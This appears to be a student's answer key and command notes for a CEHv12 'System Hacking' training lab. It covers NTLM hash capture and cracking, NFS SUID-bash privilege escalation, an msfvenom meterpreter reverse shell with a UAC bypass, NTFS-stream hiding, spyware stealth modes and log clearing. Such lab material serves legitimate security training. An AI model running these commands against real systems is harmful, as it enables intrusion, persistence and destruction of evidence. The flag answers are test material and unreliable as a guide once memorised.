Tasks

Gain System Access

Crack System's Password

Run the Responder tool on the Ubuntu machine and find the NTLM hash for the user Jason on Windows 11. Simulate the user Jason (user: Jason and password: qwerty) on the Windows 11 machine. Enter the option that specifies the interface while running the Responder tool.

-I

./Responder.py -I ens3

sudo john <filename.txt>

Audit System Passwords

Run L0phtCrack on the Windows 11 machine. You have the admin credentials (username: Administrator, password: Pa$$w0rd) of a target machine, which is at 10.10.1.22. Find the password of another user, Martin, on the machine at 10.10.1.22.

apple

L0phtCrack

• Open

• Password Auditing Wizard

• Windows

• A remote machine

• Enter Host IP address, Username, and Password

• Thorough Password Audit

• Generate Report at End of Auditing

• Run the ob immediately

• Finish

Find Vulnerabilities in Exploit Sites

Search for the vulnerability "CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass)" on exploit-db.com. What is the CVE ID for this vulnerability?

2018-6892

Offensive Security’s Exploit Database Archive

Gain Access to a Remote System

Armitage

For this task, use the Parrot Security machine (10.10.1.13) as the attacker’s system and the Windows 11 machine (10.10.1.11) as the target system. Run the Armitage tool from the attacker’s machine to exploit vulnerabilities on the target system. Interact with the target system and use the sysinfo command to find the build number of the target’s operating system.

22000

Ninja Jonin

Use the Ninja Jonin to gain access to the Windows Server 2022. Enter the name of the Windows Server machine that is captured in the Jonin console.

Server22

Use the Ninja Jonin to gain access to the Windows Server 2022. Enter the command that should be used to open shell on the target machine, using Jonin console.

cmd

Jonin Commands

list

connect 1

change

cmd

ipconfig

Privilege Escalation

Linux: Exploiting Misconfigured NFS

Exploit misconfigured NFS to gain access and to escalate previleges on Ubuntu machine. Enter the command that was used to check if any share is available for mount in Ubuntu machine.

showmount -e 10.10.1.9

nmap -sV <IP addr>

sudo apt-get install nfs-common

showmount -e <IP addr>

mkdir /tmp/nfs

sudo mount -t nfs <IP addr>:/home /tmp/nfs

cd /tmp/nfs

sudo cp /bin/bash

sudo chmod +s bash

ls -la bash

ssh -l ubuntu <IP addr>

cd /home

./bash -p

id

Exploit misconfigured NFS to gain access and to escalate previleges on Ubuntu machine. What is the command that is used to view current processes along with their PIDs?

ps -ef

ps -ef

Bypass UAC and Exploit Sticky Keys

Exploit Sticky keys feature to gain access and to escalate previleges on the Windows 11 machine. Enter the domain of Windows 11 obtained from sysinfo command in meterpreter session.

WORKGROUP

Create Binary

msfvenom -p windows/meterpreter/reverse_tcp lhost=<ip addr> lport=444 -f exe /home/attacker/Desktop/Windows.exe 

Share Binary

mkdir /var/www/html/share

chmod -R 755 /var/www/html/share

chown -R www-data:www-data /var/www/html/share

cp /home/attacker/Desktop/Windows.exe /var/www/html/share

service apache2 start

Create Listener

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost <IP addr>

set lport 444

run

getuid

sysinfo

background

Escalate Privilege

use exploit/windows/local/bypassuac_fodhelper

set session 1

show options

set lhost <IP addr>

set TARGET 0

exploit

getsystem -t 1

getuid

background

Maintain Remote Access and Hide Malicious Activities

System Monitoring and Surveillance

Power Spy

Use the Power Spy tool on the Windows Server 2022 machine to monitor the target machine at 10.10.1.19. Use the user account Jason, with the password qwerty, to establish a Remote Desktop Connection with the target system. What is the default key combination to put Power Spy in the Stealth mode?

Ctrl+Alt+X

Spytech SpyAgent

Use the Spytech SpyAgent tool on the Windows Server 2022 machine to monitor the target machine at 10.10.1.19. Use the user account Jason, with the password qwerty, to establish a Remote Desktop Connection with the target system. Which option will enable you to configure SpyTech Spy Agent to run in the total stealth mode, with all possible logging options preconfigured?

Complete + Stealth Configuration

Stealth Mode

Ctrl + Shift + Alt + M

Hide Files using NTFS Streams

In the Windows Server 2019 machine, use NTFS Streams to hide calc.exe inside the readme.txt file. Flag submission is not required for this task, enter "No flag" as the answer.

No flag

type c:\magic\calc.exe > c:\magic\readme.txt:calc.exe

mklink backdoor.exe readme.txt:calc.exe

backdoor.exe

Hide Data using White Space Stegnography

On the Windows 11 machine, hide data into a text file using the whitespace steganography tool Snow. Flag submission is not required for this task, enter "No flag" as the answer.

No flag

Hide message

snow -C -m "message" -p "magic" readme.txt readme2.txt

Unhide message

snow -C -p "magic" readme2.txt

Image Stegnography

On the Windows Server 2019 machine, hide text inside an image using the OpenStego tool. Flag submission is not required for this task, enter "No flag" as the answer.

No flag

Tools

• OpenStego

• StegOnline

Maintain Persistence

Exploit a misconfigured startup folder to gain privileged access and persistence on the Windows 11 machine. What is the command used in this task to elevate previleges in this task?

getsystem -t 1

Main Domain Persistence

Exploit Active Directory Objects and adding Martin a standard user in Windows Server 2022, to Domain Admins group through AdminSDHolder. Enter the name of the user that is added into Domain Admins group in this task.

Martin

Privilege Escalation and Maintain Persistence

Exploit WMI event subscription to gain persistent access to the Windows 11 machine. Enter the server username that is acquired after exploiting the WMI event subscription.

NT AUTHORITY\SYSTEM

Covert Channels

Covert_TCP

From the Parrot Security machine, navigate to CEHv12 Module 06 System Hacking\Covering Tracks Tools\Covert_TCP on the machine at 10.10.1.11 and copy the file covert_tcp.c. Compile the code in covert_tcp.c to create a covert TCP channel between the Parrot Security machine (10.10.1.13) and the Ubuntu machine at 10.10.1.9. For the Windows 11 machine, the username is Admin, and the password is Pa$$w0rd. Flag submission is not required for this task, enter "No flag" as the answer.

No flag

Start Listener

./covert_tcp -dest <Receiver IP> -source <Sender IP> -source_port <Receiver Port> -dest-port <Sender Port> -server -file /home/ubuntu/Desktop/Receive/receive.txt

Sender Side

./covert_tcp -dest <Receiver IP> -source <Sender IP> -source_port <Sender Port> -dest-port <Receiver Port> -server -file /home/attacker/Desktop/Send/message.txt

Clear Logs and Hide Evidence

View, Enable, and Clear Audit Policies

Auditpol

On the Windows 11 machine, use Auditpol to enable or disable security auditing on local or remote systems and to adjust the audit criteria for different categories of security events. Which command is used to clear the audit policies?

auditpol /clear /y

Clear Windows Machine Logs

In the Windows 11 machine, use various Windows utilities such as Clear_Event_Viewer_Logs.bat, wevtutil, and Cipher to clear system logs. Which wevtutil command will clear all system logs (enter the complete command as the answer)?

wevtutil cl system

Clear Linux Machine Logs

In the Parrot Security machine, clear the Linux machine event logs using the Bash shell. Which command will disable the Bash shell from saving the history?

export HISTSIZE=0

Hiding Artifacts in Windows and Linux

Use various commands to hide file in Windows and Linux machines. Enter the name of the user that is added in Windows 11 machine in this task.

Test

Hide Folder

attrib +h +s +r Test

Unhide Folder

attrib -h -s -r Test

Create New User

net user Test /add

net user Test /active:yes

Hide User Account

net user Test /active:no

Use various commands to hide file in Windows and Linux machines. Enter the name of the text file that is hidden in Parrot Security machine in this task.

Secret.txt

Hide File in Linux

touch .Secret.txt

Clear Windows Machine Logs

In the Windows 11 machine, use the CCleaner tool located at E:\CEH-Tools\CEHv12 Module 06 System Hacking\Covering Tracks Tools\CCleaner to remove unused files and traces of Internet browsing details. Flag submission is not required for this task, enter "No flag" as the answer.

No flag

CCleaner